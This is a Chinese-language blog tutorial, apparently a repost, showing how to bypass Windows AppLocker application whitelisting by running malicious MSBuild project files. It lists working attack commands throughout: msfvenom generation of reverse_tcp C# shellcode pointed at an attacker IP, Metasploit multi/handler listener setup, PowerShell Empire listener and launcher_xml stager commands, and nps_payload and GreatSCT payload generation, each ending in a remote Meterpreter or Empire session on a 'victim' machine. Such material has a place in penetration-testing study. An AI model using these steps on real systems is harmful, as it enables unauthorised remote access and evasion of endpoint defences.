zoukankan      html  css  js  c++  java
  • 使用MSbuild.exe绕过应用程序白名单

    这篇文章的目的是演示将AppLocker旁路列入白名单的最常见和最熟悉的技术。出于安全原因,我们知道,系统管理员会添加组策略来限制本地用户执行应用。在上一篇文章中,我们讨论了“ Windows Applocker策略-入门指南 ”,因为它们定义了应用程序控制策略的AppLocker规则以及如何使用它们。但是今天您将学习如何使用MSbuild.exe绕过Applocker策略。

    表中的内容

    MSbuild.exe简介

    开发技术

    • 使用Msfvenom生成CSharp文件
    • 生成XML文件以利用MSbuild
    • Nps_payload脚本
    • Powershell Empire
    • GreatSCT
    MSbuild.exe简介

    Microsoft Build Engine是用于构建应用程序的平台。此引擎也称为MSBuild,为项目文件提供XML模式,该文件控制构建平台如何处理和构建软件。Visual Studio使用MSBuild,但它不依赖于Visual Studio。通过 在项目或解决方案文件上调用  msbuild.exe,可以在未安装Visual Studio的环境中组织和生成产品。

    Visual Studio使用MSBuild加载和生成托管项目。Visual Studio中的项目文件(.csproj,  .vbproj,  .vcxproj等)包含MSBuild XML代码。

    开发技术:
    使用Msfvenom生成CSharp文件

    我们使用Microsoft Visual Studio创建带有* .csproj后缀的C#(C Sharp)编程项目,该后缀以MSBuild格式保存,以便可以使用MSBuild平台将其编译为可执行程序。

    借助恶意构建,我们可以获取受害者计算机的反向外壳。因此,现在我们将生成file.csproj文件,为此,首先通过msfvenom生成c#的shellcode。然后,该shellcode将被放置在我们的file.csproj中,如下所示。

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csharp

    上面生成的shellcode应该放在XML文件中,您可以从GitHub下载此XML文件GitHub具有MSBuild可以编译和执行的代码。此XML文件应另存为。file.csproj,并且必须通过MSBuild运行才能获得Meterpreter会话。

    注意:替换C#shellcode中的shellcode值,然后将buf重命名为shellcode,如下图所示。

    您可以从Visual Studio或命令窗口中运行MSBuild。通过使用Visual Studio,您可以编译应用程序以在.NET Framework的多个版本中的任何一个上运行。

    例如,您可以编译一个应用程序以在32位平台上的.NET Framework 2.0上运行,也可以编译同一应用程序以在64位平台上的.NET Framework 4.5上运行。编译为多个框架的能力称为多目标。

    要了解有关MSBuild的更多信息,请从此处阅读://docs.microsoft.com/zh-cn/visualstudio/msbuild/msbuild?view=vs-2015

    现在启动多处理程序以获取Meterpreter会话,并使用msbuild.exe在目标路径下运行file.csproj文件:C: Windows Microsoft.Net Framework v4.0.30319,如图所示。

    C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe file.csproj

    注意:您需要在以下位置保存恶意有效负载(XML / csproj):

    C: Windows Microsoft.NET Framework v4.0.30319 ,然后在命令提示符下执行此文件。

    use exploit/multi/handler

    msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

    msf exploit(multi/handler) > set lhost 192.168.1.109

    msf exploit(multi/handler) > set lport 1234

    msf exploit(multi/handler) > exploit

    如您所见,受害人的抄表会话如下所示:

    生成XML文件以利用MSBuild

    如上所述,MSBuild使用了一种简单且可扩展的基于XML的项目文件格式,因此我们可以将生成的file.csproj重命名为file.xml,然后在目标路径上再次使用msbuild.exe运行file.xml:C: Windows Microsoft.Net Framework v4.0.30319,如图所示。

    C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe file.xml

    use exploit/multi/handler

    msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

    msf exploit(multi/handler) > set lhost 192.168.1.109

    msf exploit(multi/handler) > set lport 1234

    msf exploit(multi/handler) > exploit

    如您所见,受害人的抄表会话如下所示:

    Nps_Payload脚本

    该脚本将生成用于避免基本入侵检测的有效负载。它利用了来自多个不同来源的公开展示的技术。由Larry Spohn(@ Spoonman1091)撰写,有效载荷由Ben Mauch(@ Ben0xA)编写,也称为dirty_ben。您可以从github下载它。

    Nps_payload生成可通过msbuild.exe和mshta.exe执行的有效负载,以通过meterpreter会话获得受害者计算机的反向连接。

    请按照以下步骤生成有效负载:

    1. 从GitHub下载nps有效负载后,运行./nps_payload.py脚本
    2. 1键选择任务“产生的MSBuild / NPS / MSF”
    3. 再次按键1选择有效载荷“ windows / meterpreter / reverse_tcp”

    这将在XML文件中生成有效负载,按照先前方法中的操作将此文件发送到目标位置C: Windows Microsoft.Net Framework v4.0.30319,并同时在新终端中的以下命令中运行以启动侦听器。

    msfconsole -r msbuild_nps.rc

    现在,重复上述步骤以在命令提示符下执行msbuild_nps.xml,并通过meterpreter获得反向连接,如下所示:

    C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe msbuild_nps.xml

    PowerShell Empire

    对于msbuild Attack的下一个方法,我们将使用Empire。Empire是一个开发后的框架。到目前为止,我们已经将XML标记与Metasploit配对,但是在这种方法中,我们将使用empire框架。它仅仅是基于python的PowerShell Windows代理,因此非常有用。Empire是由@ harmj0y,@ sixdub,@ enigma0x3,rvrsh3ll,@ killswitch_gui和@xorrior开发的。您可以从此处下载此框架

    要获得《Empire》的基本指南,请访问我们介绍Empire的文章:

    https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/

    帝国框架启动后,键入listener来检查是否有任何活动的监听器。正如您在下图中所看到的,没有活动的侦听器。所以要设置一个监听器类型:

    listeners

    uselistner http

    set Host //192.168.1.107

    execute

    使用以上命令,您将拥有一个活动的侦听器。键入回来以退出侦听器,以便您可以启动PowerShell。

    对于我们的MSBuild攻击,我们将使用暂存器。 帝国中的登台者是一段代码,可让我们的恶意代码通过受感染主机上的代理运行。因此,对于这种类型:

    usestager windows/launcher_xml

    set Listener http

    execute

    Usestager将创建一个恶意代码文件,该文件将保存在名为launcher.xml的/ tmp中。

    一旦文件运行,我们将在侦听器上得到结果。通过键入以下命令在受害者的目录中运行文件:

    cd C:WindowsMicrosoft.NETFrameworkv4.0.30319

    MSBuild.exe launcher.xml

    要查看是否有任何会话打开,请键入“ agents”。这样做将为您显示会话名称。要访问该会话,请输入:

    interact A8H14C7L

    上面的命令将使您可以访问会话。

    sysinfo

    GreatSCT

    GreatSCT是一种工具,可让您使用Metasploit漏洞,并绕过大多数防病毒软件。GreatSCT当前在@ConsciousHacker的支持下。您可以从这里下载://github.com/GreatSCT/GreatSCT

    下载并运行后,键入以下命令以访问模块:

    use Bypass

    现在查看有效负载列表:

    list

    现在,从有效负载列表中,您可以选择任何人进行所需的攻击。但是对于这种攻击,我们将使用:

    use msbuild/meterpreter/rev_tcp.py

    执行命令后,键入:

    set lhost 192.168.1.107

    generate

    在生成有效负载时,它将要求您提供有效负载的名称。默认情况下,它将以“有效载荷”作为名称。我们已经将msbuild指定为有效负载名称,其中输出代码将保存为XML。

    现在,它制作了两个文件。一个Metasploit RC文件,另一个msbuild.xml文件。

    现在,首先,通过输入以下命令在/ usr / share / greatsct-output / source中启动python的服务器:

    python -m SimpleHTTPServer 80

    通过键入以下命令在受害者的文件中运行文件:

    cd C:WindowsMicrosoft.NETFrameworkv4.0.30319

    MSBuild.exe msbuild.xml

    同时,使用资源文件启动多重/处理程序。为此,请输入:

    msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

    瞧!我们有一个计费器会话,如下所示。

  • 相关阅读:
    20170803 Airflow自带的API进行GET 和POST动作部分内容
    20170731 培训Bootstrap
    20170728 Celery项目 后台处理SQL SERVER的一个异常
    python 之 递归
    编译型语言和解释型语言的区别
    如何在命令行中让python2和python3同存
    bzoj 1579: [Usaco2009 Feb]Revamping Trails 道路升级——分层图+dijkstra
    单调栈题目总结
    汕头市队赛SRM15
    codevs 1269 匈牙利游戏——次短路(spfa)
  • 原文地址:https://www.cnblogs.com/sup3rman/p/13743630.html
Copyright © 2011-2022 走看看